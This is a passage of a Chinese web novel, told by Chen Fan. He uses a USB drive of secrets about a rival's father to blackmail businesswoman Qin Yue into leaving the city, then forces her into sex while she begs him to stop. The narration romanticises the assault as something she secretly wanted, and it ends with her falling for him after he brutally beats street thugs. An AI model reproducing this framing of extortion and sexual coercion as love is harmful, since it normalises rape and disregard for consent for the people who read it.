“怎么,陈大老板也有求人的时候?”秦悦声音里带着得意道:“是不是凡颜资本资金链断了,如果没有那么大的实力,就不要干什么大的买卖,东郊项目还是趁早就卖了吧。”
秦悦在电话里趾高气扬,言谈举止中带着不屑,她故意在羞辱我,还特意用了这个求字。
“那挂了吧。”我直接说道。
“喂!陈凡,你这是求人的态度么!”秦悦在电话里继续吐槽我,道:“是不是凡颜资本撑不下去了,想要和我求和?”
这一次,秦悦特意用了求和两个字,比刚才好听不到哪里去。
“如果你这么想,也不是不可以。”我停顿了一下,说道:“我想和你单独谈一下。”
“不行!”秦悦直接拒绝道!
“那就算了。”我语气生硬,没有任何开玩笑的意思。
“陈凡,你这是谈生意的态度么!你来别墅找我!”
我听后立刻挂上电话,开车赶往上次欺负秦悦的那栋别墅,我对那里,还是有很深的回忆的。
秦悦在我怀里痛哭,求饶,咬我胳膊的那一幕,付现在我的眼前,她,还真是个挺有意思的竞争对手。
我到了秦悦的别墅,她穿着一身顶级的黑色西装,她将马尾扎起的高高的,精明干练中,平添了几分清纯气息。
秦悦长的很好看,她五官小巧精致,脸蛋就手掌大小,眉毛弯弯细如柳叶,她的鼻子挺拔,樱桃小嘴格外招人喜欢。
秦悦是那种越看越好看的女人。
秦悦坐在沙发上,她看向我的时候,眼神很是得意,她已经我是来求她的。
我现在在想,如果她听到关于她爸的内幕,她还会这么得意么?
“陈凡,这是我公司起草的东郊收购书,你看一下。”
秦悦将一份文件扔给了我,她还故意扔在了地上,就是在羞辱我。
我连看都没看那份文件,我直接坐在了她对面:“说说吧,怎么样你才能罢手?”
“很简单,你向我道歉,然后我买走东郊,就这么简单!”秦悦双手抱着肩,眼神里闪过一丝的防备。
“如果我不同意呢?你会怎么样?”我接着问。
“很简单,我会使用各种手段来摧毁凡颜资本,不择手段的那种,陈凡你应该见识了我的能力,不过才两天的时间,我就逼的你来求我了!你还要和我作对么!”
“我说过,我会让你后悔一辈子的!”秦悦越说越激动,道:“没想到吧,这么快,你就来求我了。”
咳咳!
我咳嗽了两声,因为我真的听不下去了。
秦悦怎么就那么坚定我是来求她的呢。
“我不是来卖公司的,我也不是来求你的。”我冷冷的说道。
“你在耍我?!”秦悦面露不悦道。
“我这里有一份关于秦家的秘密,和你有关,我想你应该会非常好奇。”
我扔给了秦悦一个U盘,道:“如果你不想看,我可以直接公开给媒体,不过到那个时候,你爸应该会感谢他自己生了个好女儿!”
聪明人的话不必说的太多,秦悦应该知道这个U盘里的东西很终于,于是她拿来电脑,将U盘里的内容,读取成功,她看完后,脸色大变!
“陈凡,你从哪里弄来的!”秦悦狠狠指着我,骂道:“你就是在诬陷我的父亲!”
“诬陷?你可以现在马上把这个东西发给你爸看,你看看我说的到底是不是诬陷!”
“你想怎么样才能销毁这个U盘里的内容?”秦悦的声音弱的几乎听不见。
“带着秦氏集团,滚出海城,东郊的地,以后你们不许染指,公开给凡颜资本道歉!”
秦悦闭上了眼睛,她的身体在颤抖,我知道她在挣扎,在权衡李波,一边是家族的存续和父亲的命运,一边是尊严和野心。
时间在一分一分秒的过去,最后,她缓缓睁开眼睛,曾经高傲的眼眸里,只剩下绝望,她看着我,就好像在看着一个恶魔,她声音沙哑无力:“好,我答应你。”
我的目的达到了,我本该走,可我怎么会就这样放过她?
我要让她记住今天发生的一切,记住是我将她踩在脚下!
我要在她的意志上,烙下一道属于我陈凡的印记。
我站起身,走到她面前,在她净额的目光中,将她拽了起来。
“你……你想干什么?”
我没有回答,就是拉着她走向卧室,她似乎预感道了什么,她开始挣扎,甚至哀求我:“陈凡,不要,求求你,不要!”
“答应是你的事!”我低下头,声音低沉道:“但是利息,我要自己收!”
我反锁上房门,将她抵在了门板上……
047秦悦的第一个男人(下)
“陈凡,你别这样……求求你……”
“呜……”
秦悦绝望的摇头,眼泪流淌的更凶了。
“你要多少钱,我都可以给你……”
“你放过我……”
秦悦在求我,可是她有想过我的感受么?
当初她对凡颜资本下手的时候,怎么不求我呢?
现在她知道求我了,已经晚了!
“陈凡,我们慢慢来,慢慢相处,我会喜欢上你的,我已经……”秦悦看着我说,眼里还有一丝的倔强:“其实,我有对你动心过,你……”
“既然你有喜欢我,那我们还等什么呢?”
我笑了笑亲吻了上去,秦悦似乎已经认命了,她闭上了眼睛。
我将她整个人横抱着走向了卧室,然后扔在那张价值昂贵的床垫上,午后的阳光透过窗户洒在了她眼角的泪珠上,晶莹剔透,闪着光芒,这一刻,秦悦美的就好像一个森林公主。
我用手摸了摸她的脸颊,将她眼角的泪水擦干净,我说道:“用你的身体,来保你父亲家主的位置,你不吃亏。”
“陈凡,你就是个强盗!”
“呵……”
我冷笑一声,然后轻轻在她耳边说:“成王败寇而已,放心,我会温柔的对你,毕竟从今天之后,你就是我的女人了。”
“陈凡,你最好遵守你的诺言,如果你敢拿着这个威胁秦家,我不介意和你鱼死网破!”
“到时候你爸就是我的岳父大人,我怎么可能会伤害他呢。”
秦悦看着我,最终闭上了眼睛。
这一个午后,我终于将秦悦变成了我的女人,她也接受了这个事实。
我知道,秦悦是喜欢我的,当一个女人对你又爱又恨的时候,那不是喜欢是什么呢?
在客厅里,我愉快的给自己冲着咖啡,然后哼着小曲,我提醒道:“别忘了,你们秦氏集团要向我们凡颜资本道歉,你要遵守承诺!”
我善意的提醒秦悦,万一她耍滑头呢?
不过也没关系,谁让我手里有关键性的U盘!
“呵……”秦悦冷哼了一声,道:“你以为谁都跟你一样,无赖么!”
“谢谢你,我就当你是在夸我!”我大言不惭道!
“可恶!真是气死我了!”
秦悦捡起客厅的拖鞋,就往我身上砸来,我见状直接躲了过去。
秦悦看到后,更加的咬牙切齿了!
说归说闹归闹,别拿生意开玩笑,在我的督促下,秦悦吩咐了手下的人,让他们召开发布会,澄清事实,说当初调查不清楚,就指责凡颜资本。
挂上电话,秦悦一脸不悦的看着我:“陈凡,这下你满意了吧!”
“嗯,满意,很满意,不过能做你的男人,我更开心!”我笑着递给秦悦一杯咖啡。
我的手指轻轻的划着她的脸,她的肌肤很细嫩,很Q弹,就如同婴儿般的肌肤,我甚至都怀疑,秦悦是不是每天都用牛奶沐浴,不然她的身体怎么会有一股奶味。
“陈凡,霸道的占有我,你很爽是吧!”
“对啊!”我俯身小声道:“秦悦,像你们这种有钱家的女人,婚姻能自由么?与其嫁给一个不爱的男人,还不如跟我,不是么?至少,你对我是又爱又恨!”
我的话让彻底撕破了秦悦的心里防线,她哪里还有什么婚姻自由,她清楚的很,一旦秦家需要,她必须要联姻。
“我更喜欢主动一点的女人……”我在秦悦的耳边善意的提醒着。
呵……
秦悦冷笑了一声,她在我的肩膀上狠狠的咬了一口。
很疼,让我猝不及防!
“看我不咬死你!”
秦悦狠狠的骂着我,我看着肩膀上的牙印,笑着道:“打是亲,骂是爱,可见你对我感情有多真啊!”
“啊!气死了!”
秦悦说着继续咬着我的胳膊,我直接将她搂在怀里。
我温柔的说道:“我知道,你恨我,可是我相信,有一天你也会爱上我。”
“你做梦!”
“你刚才不是还说对我动心了吗!”
“女人说的话你也信?!”
“呵呵……有意思!”
她也是咬我,我越是抱紧她,最后我们两个人又回到了卧室。
到了傍晚,我们才醒过来,她背对着我,蜷缩在床脚,用被子紧紧的裹住自己,肩膀微微松动,无声的流泪。
床上那一抹刺目的鲜红,似乎在说明什么。
我转过身,轻轻拍了拍床,道:“过来。”
她没有任何的反应,但肩膀停止了耸动。
于是,我主动凑了过去,将她紧紧的搂在怀里,轻声道:“别哭了,跟谁睡不是睡。”
“陈凡,你说的还是人话?”秦悦冷冷的质问我。
“我说的不是人话,你还能听懂?”我笑嘻嘻道。
“啊!!!”
秦悦被气的大吼一声,我赶紧起身,穿好衣服,跑到客厅,我离她远一点,省的她一会儿又动手打我。
我坐在客厅里看着电视,悠哉悠哉,过了一会儿,秦悦也出来了,她一见到我,就瞪着我。
我感觉到大事不妙,只见秦悦手里不知道什么时候多了一个鸡毛掸子,她呵呵一笑。
“你想干什么?”我冷静的问道。
“干什么?当然是给你开皮!”
秦悦说完,举着鸡毛掸子就来打我,我没办反,只能一个翻身,翻到沙发的后面,和她对峙、几番回合下来,秦悦已经累的气喘吁吁了。
“你滚过来,让我打你一顿!”她插着腰,冲我说道。
“不去,我也不傻,你那鸡毛掸子打一下多疼啊!”
“放心,不会的,我会轻轻的!”
秦悦说完气的直接将鸡毛掸子砸向了我,我弯腰一闪,就躲了过去。
秦悦一脚踩上沙发,向我扑来!
她将我按在沙发上,双手捶打我,整个客厅传来霹雳吧啦的响声!
终于,她打累了,然后才停下。
这才符合她的性格,她要是不打我,不骂我,她就不是那个个性鲜明的秦悦了。
她坐在我的面前,气的胸部起伏,我越看她生气,我就越想逗她。
于是我故意说道:“哎呀,你刚才的按摩真的好舒服,酸爽无比!”
“啊!!!”秦悦大喊一声:“陈凡,我要打死你,你气死我了!”
于是,秦悦对着我一顿打。
我任由她嬉闹,这点疼痛对我来说根本不算什么。
到后来,我就双手抓住秦悦的腰,将她高高的举起!
“啊!”秦悦惊呼了一声。
她双手忽然搂着我的脖子,然后说道:“陈凡,你放我下来,我害怕!”
“你有恐高症?”我问。
“嗯……”秦悦声音犹如蚊子一样。
“你求我啊,求我我就放你下来!”我嘿嘿的笑着。
“啊!求求你陈凡,求求你!”
“说爱我!”我命令道。
“我……爱你……”秦悦的声音犹如蚊子一般。
我知道她不想说,不情愿说,但我就喜欢逼着她说。
我闹够了,就半蹲下来,将她放在了沙发上。
她呼呼的喘气,道:“陈凡,你吓死我了,我恨你!恨你!”
果然不出我的所料,一把秦悦放下来,她就变身了,她就不是刚才那个她了。
我忽然紧紧搂住了她,温柔的问道:“现在还恨我么?”
她微微一愣,小声嘟囔:“恨……你……””
048秦悦的柔情似水!
我的吻温柔又热烈,不在像以前那样粗暴。
秦悦一脸不敢相信的看着我,她似乎没想到我会如此轻柔,这一次,她没有流泪,她只是微微闭上了眼睛。
从午后到傍晚,我征服了她一次又一次。
秦悦最后躺在床上沉沉的睡去。
在我得到秦悦身体之前,她就已经让手下的人去解决和凡颜资本后续的事情,可以说,凡颜资本现在的危机已经解除了。
我掏出了一根烟,一边抽,一边看着熟睡的秦悦。
她高高的马尾辫已经散开,她侧着睡着,身体蜷缩着,我记得心理学曾说,这样姿势睡觉的人,缺少安全感和爱。
我今天就是要让秦悦记住我一辈子,想要征服秦悦这种女人,就要让她从骨子里认可自己,所以我和她睡了一次又一次,我要让秦悦熟悉我。
我抽完了烟,秦悦睁开了眼睛。
我走过去,伸手摸了摸她的脸,动作温柔呵护。
她的脸有些微凉,在我的手触碰下颤抖了一下,她没有避开,反而像是求温暖一样,像一只猫,在我的掌心蹭了蹭。
这个细微、近乎以来的动作,像一把柴火,点燃了我内心的火焰。
我低下了头,吻住了她。
她开始有了回应,身体不在僵硬,而是主动靠向了我。
这是一个转折点,从被动承受,到默许。
我将她抱起,然后靠在我的怀里。
“还恨我么?”我问。
她犹豫了片刻,说道:“恨……”
“那就好好恨我吧,比爱我容易多了……”
秦悦在我怀里身体微微一震,然后我察觉到她的眼角有些凉意,我摸了摸,是泪水。
“别哭了,我会心疼。”
我轻轻抹去她眼角的泪水,安慰道。
“陈凡,就让我好好恨你,确实比爱你容易多了。”
秦悦说完,在我的胳膊上咬了一口,只是她力气没有以往的那么大,她嘴下留情了……
我们两个人好像彼此心照不宣,谁都没有说公司的事情,就这样靠在一起,不知道过了多久,我听到秦悦独自咕噜噜的叫。
“饿了?”我低下头。
“嗯……”她轻轻的说道。
“我去给你煮面?”我问。
“好……”
于是我起身去给秦悦煮方便面,折腾了一下午,别说是她了,我也累了,于是我煮了两个方便面,还在里面加了两个鸡蛋。
我和秦悦两个人围坐在餐桌前,大快朵颐,我将两个鸡蛋都给了秦悦,秦悦筷子停顿了一下,她看了看我。
“怎么,不够吃?”
我马上将自己碗里的面都倒入了秦悦的碗里,她眼里闪过一丝光亮。
然后秦悦低着头,开始吃面,她吃的很香,胃口也很好,两人份的方便面她都吃光了。
“你不饿?”
秦悦抬起头询问我,我心想:我谢谢你,你都吃完饭了,才想起我,但是装逼我还是要装的。
“以前出去执行任务,饿上三天都是没问题的。”我淡淡的说道。
“哦。”
秦悦的语气声音很淡,从她的话语里我已经听不到敌意。
吃完饭,我们两个人就坐在客厅里,这是破天荒的一次,秦悦没有逃离我的身边,也没有用仇恨的眼睛看着我,她就在摆弄手机,刷着新闻,然后和手下的员工打着电话,处理工作。
我静静的看着她,心中那股一直和掌控欲竟然平复了下去,取而代之的是一种我自己迪欧感到陌生的平静。
似乎是感受到了我的注视,她放下手机,静静的看着我,和我对视后,秦悦下意识的低头。
我笑着轻轻用手托住了她的下巴,问道:“为什么不敢看我?在躲什么?”
她的眼神闪烁,声音弱弱道:“没有……”
“看着我!”我虽然是用命令的口味,但语气却不自觉的放松了许多。
她犹豫了一下,还是听了我的话,缓缓的抬起眼睛,她漂亮的眼眸里,没有了恨意和冰冷,却多了几分慌乱羞涩,还有一种隐藏的情愫……
我们就这样在灯光中对视,空气中弥漫着一种暧昧的气息。
我忍不住靠近了她,轻轻嗅着她的头发。
忽然,秦悦像是鼓足了勇气一样,开口对我说:“陈凡……我们……能不能暂时休战……”
她的声音很轻,带着一丝的不确定的试探,还有一丝的乞求。
我微微一愣,这还是那个骄傲的,说恨我的那个秦悦么?
她竟然还会求我?
“休战?”我目光审视着她,坏笑这问:“怎么个休战法?”
“就是……”她咬了咬嘴唇,似乎有些难以启齿,道:“我们不要在那样了……就像现在这样,安静的坐着……”
她的声音越来越小,脸色越来越红,说到最后,我都听不到她的声音了。
我看着她在灯光下显得格外柔和的脸颊,我没有立刻回答,只是伸手,将她的发丝别到耳后。
这个动作让她的身体微微一颤,眼神中闪过一丝的惊讶,随意她的眼神变得更加的柔和。
“好……”我笑了笑。
这个好字说出口,我清晰的看到她的眼睛被点亮了,一种如释重负,还有羞涩的笑容在她的脸上绽开。
“谢谢……”
这一刻,所有的算计、恨意、对抗、仿佛都按下了暂停键,我们像是一对最普通的情侣,在平常的日子里,过着平淡的生活。
这种休战状态,一直持续到深夜。
我的肚子终于熬不住了,开始发出了咕咕的叫声。
我抬起头看了看秦悦,笑着道:“你要不要给我下碗面吃?”
“我?可是……我不会……”秦悦面露难色。
我心想也是,她一个富家千金,向来都是衣来伸手饭来张口,她哪里会下面?
“不过,我可以为你尝试一下!”
秦悦笑着说着走向了厨房,这是她第一次对我笑,笑的是那么热烈,真诚……
她的笑,让我心慌,于是我走进了厨房,看到了让我一辈子的都忘不掉的一幕。
她将一瓶酱油,都倒入了锅里……
049片刻柔情!
这分明就是黑暗料理!
怪不得秦悦刚才对我那么客气呢,原来是在演我呢!
于是我走过去,环住她的腰,轻轻靠在她的肩膀上,我笑着说:“放一瓶酱油,你是想齁死我么?”
秦悦淡淡道:“手滑而已……”
十五分钟后。
我开着车,副驾驶坐着秦悦,我决定去海城夜市吃个宵夜,秦悦在我的一再要求下,不得不陪我出行。
我故意用手勾了勾她的手指,她没有理会我,就是侧着望着窗外,我就喜欢撩拨她,像是挑逗一只猫那样。
“夜市,吃过么?”
我将车拐进一条胡同,将车挺停好。
秦悦摇了摇头。
“那今天带你体验一下路边摊!”我笑着说道。
我指了指街角那个摊位,这里的空气中弥漫着油烟、香料和市井的烟火气息,已经是深夜,这里的顾客有点少。
“这里?”
秦悦微微蹙眉,看着那烟火缭绕的摊位和沾了油渍的桌椅,她有些犹豫。
“怎么?不敢么?”我挑眉问道。
她白了我一眼,没有说话,直接推门下车,动作一气呵成,她依旧那么高傲。
摊主是一对中年夫妻,见我们两个人走过来,就热情招待。
“帅哥,美女,吃点什么?”老板娘笑脸相迎。
“牛肉串、羊肉串、炒粉、先上这些!越快越好!”
饿坏了的我,熟练的点菜,我看了看面前的秦悦,她正拿着纸巾一遍一遍的擦着面前的餐桌。
“擦不干净的。”我指了指旁边的烤炉,道:“这里的味道不在桌子上。”
秦悦停下手里的动作,看了看我指的方向,没有反驳。
烧烤串很快就被老板端上桌,我拿起牛肉串就开撸,我还不忘给秦悦递过去了一串,她看了我一眼,犹豫了一下,最后还是接了过去。
秦悦学着我的样子撸串,她轻轻咬住肉串,然后一点点的撸签子,她那小心翼翼的样子,我真的很想笑,想想她去的地方都是高档餐厅,如今跟我来吃路边摊,还别有一番趣味。
“好吃么?”我问。
“还行。”
“是不是和我在一起,还挺有意思的。”我大言不惭的问。
“还可以……”
秦悦似乎是在想着什么,她忽然看着我问到:“我们现在是什么关系?”
“你想什么关系?”我一边撸串一边问。
“我……也不清楚……”秦悦眼神里有些迷茫。
我知道我们两个人的关系很复杂,白天我们还是商场敌人,晚上,我们就上床了,朋友?不可能。恋人?那更不可能。
“你……可以继续恨我……”我说。
秦悦忽然抬起头,眼神冰冷的看着我:“你……就那么想我恨你么!”
她说话的声音不大,可每个字都敲击在了我的心上。
让她恨我,是我想要的么?
可能这对她来说是最轻松的吧。
“怎么不回答我,陈凡,你在犹豫什么?”秦悦忽然反客为主的问我。
我刚要回答她,就看见对面有几个喝多了的小伙子,向着秦悦走了过来。
“呦,美女,一个人啊?要不要陪哥们几个喝一杯啊?”一个染着黄头发的男人过来和秦悦搭讪。
那几个男的眼睛一直在秦悦身上扫来扫去,嘴里还说着不干不净的话,他们的眼神很有侵略性。
秦悦的脸色瞬间冷了下来,她放下筷子,看都没看那伙人一眼,就对我说:“走吧。”
“别走啊美女,你长的这么漂亮,跟这种小白脸在一起干什么,不如跟哥哥一起去玩,哥哥带你飞!”那个黄头发的男人说话的时候,就伸手要去摸秦悦的脸。
秦悦猛地躲开,大声呵斥道:“滚开!”
秦悦的呵斥刺激了那几个男人,他们反而更加的变本加厉。
“特么的,敬酒不吃吃罚酒!你也不打听打听,我王猛在海城的名声!这海城就没有我玩不到的女人!”
就在王猛的手要触碰到秦悦的瞬间。
只听砰的一声!
我一塑料凳就砸在了王猛的头上,我顺势抓着王猛的手腕,狠狠地扣住,反手一拧!
“啊!”
杀猪般的惨叫打破了夜市的喧嚣。
王猛痛的整张脸瞬间扭曲,他额头直冒冷汗,整个人瞬间矮了下去。
我出手速度很快,他们都没来的及反应。
“妈的!敢动手,干他!”
王猛身边的纹身男,他抄起桌子上的啤酒瓶就向我砸来!
“小心!”秦悦惊呼了一声!
我眼神凌冽,我没有松开王猛的手,而是一个侧踹,我精准的踹在了纹身男的小腹上,他整个人瞬间如同一只大虾弓起身子,倒飞了出去,还撞翻了两张桌子。
那混混躺在地上捂着肚子,痛的他连惨叫都发不出来。
我松开了王猛的手腕,他像一摊烂泥一样摊在地上,他捂着手腕哀嚎。
我俯视着他,目光如刀,我阴沉着脸问道:“你刚才哪只手碰的她!”
我的声音不高,但却带着一种杀气!
王猛害怕了,他哆哆嗦嗦的对我说:“大哥……我错了……我有眼不识泰山……”
“回答我!”我呵斥他。
“哥,我没碰她,真的没有……”王猛声音里带着哭腔,道:“哥,我真的没碰到,我手都让你掰断了,我怎么碰……”
我盯着他看了几秒,见他不像是说谎,脱口骂道:“滚!”
王猛像是被大赦一般,他连滚带爬的逃离了这里。
原本喧嚣的夜市,又回归了平静。
我像是没事人一样,回到座位上,我看着呆立当场的秦悦,淡淡道:“坐下,吃完。”
说完,我就继续撸串。
秦悦怔怔的看着我,她的胸口还在起伏,显然是被刚才那一幕惊吓到了,她还没有缓过神来。
我给她到了一杯饮料,道:“喝点,压压惊。”
秦悦缓缓坐下,一口就干了,她静静的看着我,也不说话,她的眼神及其的复杂,有惊慌,有恍惚,但更多的是一种我从未见过的光芒,还有那一丝对我的崇拜。
也许,就在刚才,她才真正认识了我。
“你刚才……”秦悦忽然开口道:“打伤了两个人……”
“吃饭。”
我随口一说,这种事对我来说很品尝。
她低下头,想要用筷子夹起碗里的馄饨,但是夹了几次,都没有成功,我知道,她刚才被吓得手抖了。
我夹起碗里的馄饨,然后吹凉,很自然的就送到她的嘴边。
秦悦犹豫了一下,最终,还是张开了嘴……
050秦悦动心了!
我们就这样安静的吃完了饭,我起身去付钱,秦悦就一直跟在我的后面。
走到车边,我为她拉开车门,她忽然停下动作,转过头看向我,道:“陈凡……谢谢你……”
灯光下,她眼眸闪亮的犹如天上的星辰。
我静静的看着她,没有说话。
她看了我一眼,然后支支吾吾说道:“你刚才打架的样子……很帅……”
我微微一笑,捏了捏她的脸蛋,笑着说:“还恨我么?”
“恨!”秦悦爽快的点了点头。
我嘿嘿一笑,毫不介意,她要是不恨我,她就不是秦悦了。
我知道可能过了今天,我和她就是天各一方了,秦悦会遵守约定,带着对我的恨意,离开海城。
我和秦悦上了车,然后车子刚开出夜市胡同,就看见两个白色面包车从路口处窜了出来,它们一左一右,不紧不慢的跟着我们,这两辆车速度保持一致,况且还没有车牌。
这让我觉得事情不太对劲儿。
我没有慌乱,反而手打方向盘,将车子开进了一条狭窄而又昏暗的胡同里。
“怎么回事?”秦悦意识到不对劲,连忙问我。
“你在车里坐好。”我摸了摸秦悦的头。
我看了看周围,这里一前一后的路口都被那两个面包车给堵住了,这里没有监控,正是我修理他们的好地方。
哗啦!
两辆面包车的门瞬间拉开,从车里窜出来十多个手持短棍、木棒的人,他们将我团团围住。
这些人身穿黑色西装,眼神凶狠,和刚才我打的那波人明显不是一路的,他们更像是保镖或者有钱人养的打手。
为首的是一个脸上带着刀疤的男人,他嘴里叼着根烟,手上拎着棒球棍,棒球棍拖在地上发出滋滋啦啦的声音。
“哥们,你几个意思啊?”刀疤男抽了口烟,故意将烟圈吐在我的脸上,他说道:“敢把我们王少的手打断,这笔账,怎么算?!”
王少?!
就是刚才那个黄毛混混?我没想到这个小子还挺有来头的,这些人应该就是那个王少喊来的。
“他碰了我的女人,他活该!”我语气平淡,丝毫没有将这十几个人放在眼里。
“碰你女人又怎么样!”刀疤男呵呵笑起来,他指着我骂道:“别说碰了,就是睡你女人又能怎么样?在海城,还有我们王少不能睡的人?”
嚣张至极!
那一会儿动起手来,我就得给他们一个狠狠的教训!
“你小子不是挺能打么,现在我就让我的兄弟陪你玩玩,哥几个!给我上,干废他!”
刀疤男一声令下,离我最近的两个男的举着短棍就向我砸来,他们一左一右,动作还挺快,我都能听见呼呼的风声。
就在这千钧一发之际,我动了!
就如同猛虎下山,我的身体爆发出竟然的速度,我躲开了这两个人的攻击,我的右手精准的扣住了对方的手腕,然后用力一拧!
咯吱……
清脆的骨头断裂声,伴随着人类的嚎叫,那个打手的短棍掉落在地上。
吵闹的胡同里,瞬间变得鸦雀无声,与此同时,我右脚狠狠踹向了我面前的打手,我精准的踹在了他的膝盖上。
砰!
紧接着又是传来一阵悲惨的嚎叫,那人跪倒在地,抱着扭曲的腿,哀嚎不止!
不会吹灰之力,我就瞬间解决了两个人。
但这一切不过才开始而已。
“草,给我弄死他!”刀疤男气急败坏,他指挥着手下的人一拥而上,可他却站在后面迟迟未动。
我看出来,这个刀疤男也是个色厉内荏的选手。
有事儿,他是真不往前冲!
短棍、木棒,犹如暴雨一样向我的身上袭来。
十多个人挤在一起,将狭窄的胡同围堵的水泄不通,我的动作幅度大大的缩小。
这要求我的速度要更加的快,才能不受伤。
我的眼神冰冷如刀,我调整呼吸,将自己的身体调整到最佳状态,我没有花里胡哨的动作,我追求的是每一次出手,都要精准直击要害!
侧身、格挡!
擒拿、重击!
砰!
我一个肘击狠狠砸在了对方的头上,他闷哼一声,直接倒在地上。
啪!
我反手夺过来一根木棍,顺势砸在另一个人的胳膊上,骨头脆裂的声音让人听着胆战心惊。
我的身体在人群中快速的穿梭,每一次移动都伴随着敌人的惨叫,这些看似凶悍的打手,在真正的战士面前,毫无招架之力,显得他们不堪一击。
秦悦站在车外,双手紧紧捂住嘴巴,眼睛瞪的大大的,她看着我在人群中穿梭,放倒一个又一个敌人。
秦悦的心情难以形容,她变得更加的复杂,她原本以为陈凡是一个混蛋,可没想到,他竟然有如此神勇的一面,她的心,甚至开始了一丝丝的激动。
不到三分钟,战斗就宣告结束,刚才还气势汹汹的打手们,现在都躺在地上痛苦哀嚎,那些木棍和短棍都散落在一地。
现场一片狼藉。
目前,就只有刀疤男还站在原地,可他的握着棒球棍的手开始颤抖,他看着我,眼里满是恐惧。
我扔掉手里的木棍,走向了刀疤男。
刀疤男吓得连连后退,他嘟囔着:“别过来……别……”
直到他退无可退,后背顶住了墙壁。
“哥……手下留情……”刀疤男将棒球棍扔在了地上,他双手作揖,在求我,只不过他声音小的可怜,估计是怕他那些兄弟听到。
都什么时候了,还特么在给自己立人设呢?
“告诉那个王少!”我的声音虽然不大,却足够有震慑力,我说道:“再有下一次,断的就不是一只手了。”
“是是是……”
刀疤男磕磕巴巴,脸色惨白。
我没有在理会他,转身就走。
秦悦依旧站在那里,她呆呆的看着我,仿佛还没有从刚才的战斗中回过神来。
我走过去,摸了摸她的头,道:“没事了。”
她仰着头看着我,嘴唇微微颤抖:“陈凡……你那么能打……为什么我打你的时候,你不还手?”
051秦悦的主动!
秦悦声音急促,似乎很想知道这个答案。
我随口说道:“我不打女人。”
“陈凡,你混蛋!你就这么喜欢敷衍我?”秦悦不甘心道:“你对我就没一点感觉?你刚才就是为了保护我。”
“随你怎么想。”我懒洋洋的点了一根烟,然后自顾自的抽着。
秦悦盯着我的眼睛,想要从我的眼神中获取信息,但她最后只能徒劳无功,像我们这种经过淬炼的战士,心理素质都是极高的。
抽了几口烟,我神清气爽,然后拉开车门,道:“上车,送你回家。”
深夜,路上的车少之又少,我随便放了一首歌,是《遇见》。
“我遇见谁,会有怎样的对白。”
“我等的人,他在多远的未来。”
“我听见风,来自地铁和人海。”
“我排着队,拿着爱的号码牌。”
静静地车内,顶级的音响在播放着音乐的旋律,听起来有一种很温馨的感觉。
“陈凡,你喜欢上了我。”
我没有回答她,可她的这句话就像是一把小锤,敲在了我的心上,喜欢么?更多的是肉体关系和征服欲吧。
毕竟,谁会喜欢上一个才认识没多久的人呢?
“回答我!”
秦悦转过头,一眼认真的望着我,她的眼眸里,甚至有些泛红。
“喜欢不喜欢,有那么重要么?都是成年人了,别问小孩子的问题,幼稚。”
“我不在乎幼稚不幼稚!”秦悦忽然有些激动,她声音提高了几分,道:“我要的就是真想,你到底是玩弄我,征服,还是对我有感觉?”
这就是秦悦和柳媚笙不同之处,同样是睡觉,柳媚笙可以无所谓,但秦悦却不能,或许跟拿走她的第一次有关。
秦悦的追问带着一种破釜沉舟的勇气,或许今天发生的事情,摧毁了她所有的伪装,她敢于面对自己内心的真正情感。
“真想往往都是残酷的。”我说。
“在残酷也比活在猜测中好!”秦悦语气坚定,她非要一个答案不可。
我抽了根烟,空气中弥漫着一种无声的较量,秦悦在用这种方式,来逼我给她一个答案。
“你觉得我对你有感觉就有,你觉得我对你没感觉就没有。”我简简单单的回了一句。
秦悦嘟起了嘴巴,她的脸上似乎有一丝的得意:“你在逃避我的问题,逃避就证明你怕了。”
“我一个大男人,有什么好怕的?”我耸耸肩,一脸的无所谓。
“因为,你怕喜欢上我。”
车子平稳的行驶在公路上,车内一片安静,只有发动机的轰鸣声,秦悦靠在车窗上,窗外的流光溢彩倒映在她的脸上,显得她静谧而又优雅。
“你什么时候离开海城?”我问道。
“明天。”秦悦回过头,看了看我道:“我这么回答,你满意了吗?”
我微微一笑,道:“你看看你,我就是问问,你可千万别觉的我是在赶你走。”
“呵呵……谎话能说的在假一点么?”秦悦接着说道:“我已经让秦氏集团的人处理好凡颜资本的事情了,你要的道歉,我给了,你要我离开,我也走了。”
秦悦忽然像我伸出手:“给我。”
“什么?”我微微一愣。
“别装糊涂,U盘。”秦悦冷冷的说道。
“秦小姐,你放心,U盘放在我这里绝对的安全,我保证不会让它泄露出去,或者我当你的面销毁野性!”
秦悦看着我嬉皮笑脸的模样,痛骂道:“陈凡,你混蛋,你耍我!”
“谁说我耍你了!你这个人诡计多端的,谁知道你回去会不会又报复我?”
我说出了我的担心,我可是在秦悦身上吃过苦头的,当然要防着她了。
呼!……
秦悦眼里的怒火就要爆发了,她长舒了一口气,让自己平静下来。
“那个你打伤的王少,不会就这么轻易的算了,对么?”秦悦忽然轻声说道。
“嗯。”我点了点头,道:“他看起来挺有势力的,能养得起这么多打手的,肯定不是普通家庭。”
“你会不会有危险?”秦悦转过头看着我,眼中藏着些许的担忧。
这个问题,是不是超出了她的管辖范围?
我伸出手,拉了拉她的手,笑着问道:“关心我?”
她的脸颊有些泛红,她躲开我的眼神,却任由我拉着她的手,她语气轻微:“谁担心你……我只是不想因为我的事情连累你……”
她的解释显得苍白无力。
“管好你的事情就行,我这里不用操心。”
这句话听着好像很生硬,但却少了以往的疏离。
秦悦似乎也察觉到了和以往的不同,她偷偷看了我一眼,嘴唇动了动,没有说话,可她的嘴角却向上弯了许多。
车子开到了她的别墅门口。
她没有解开安全带,而是看着我,像是下了某种决心一样,眼神坚定又清澈。
“陈凡,今晚谢谢你……”
说完,她像是一只兔子一样,嗖的一下跑下了车。
我当然没有放过她,果断了追了出去。
在她快要进门的那一刻,我从身后抱住了她,她啊的一声惊呼。
“陈凡,你干什么?”
“你明天就要走了,今晚,我当然要陪陪你……”
秦悦听到我的话,她的脸嗖一下就红了起来,这一次她没有反抗我,我横着抱起她,她竟然主动勾住了我的脖子。
秦悦破天荒的变化,让我有些惊讶。
是因为我今晚救了她,她对我态度转变了?
她羞红的脸深深埋在了我的胸膛里,进了她的卧室,我刚要关灯,她却说:“开着灯,我想看着你……”
这句话,顿时让我精神暴涨!
这一夜,我们都放下了彼此的隔阂,尽情的享受对方,直到沉沉的睡去。
当早上醒过来的时候,我发现床上就只剩下我自己了,秦悦早就不见了踪影,偌大的别墅,就只剩下我自己。
我走出房间,看见客厅里摆放着一碗面,还冒着热气,碗下面还压着一张纸条。
上面写着:特意为你煮的,这次,没有放酱油……
我微微一笑,拿起筷子大快朵颐起来……
052初遇大明星林薇儿!
秦悦离开海城了,她遵守了和我的约定,回到了秦家。
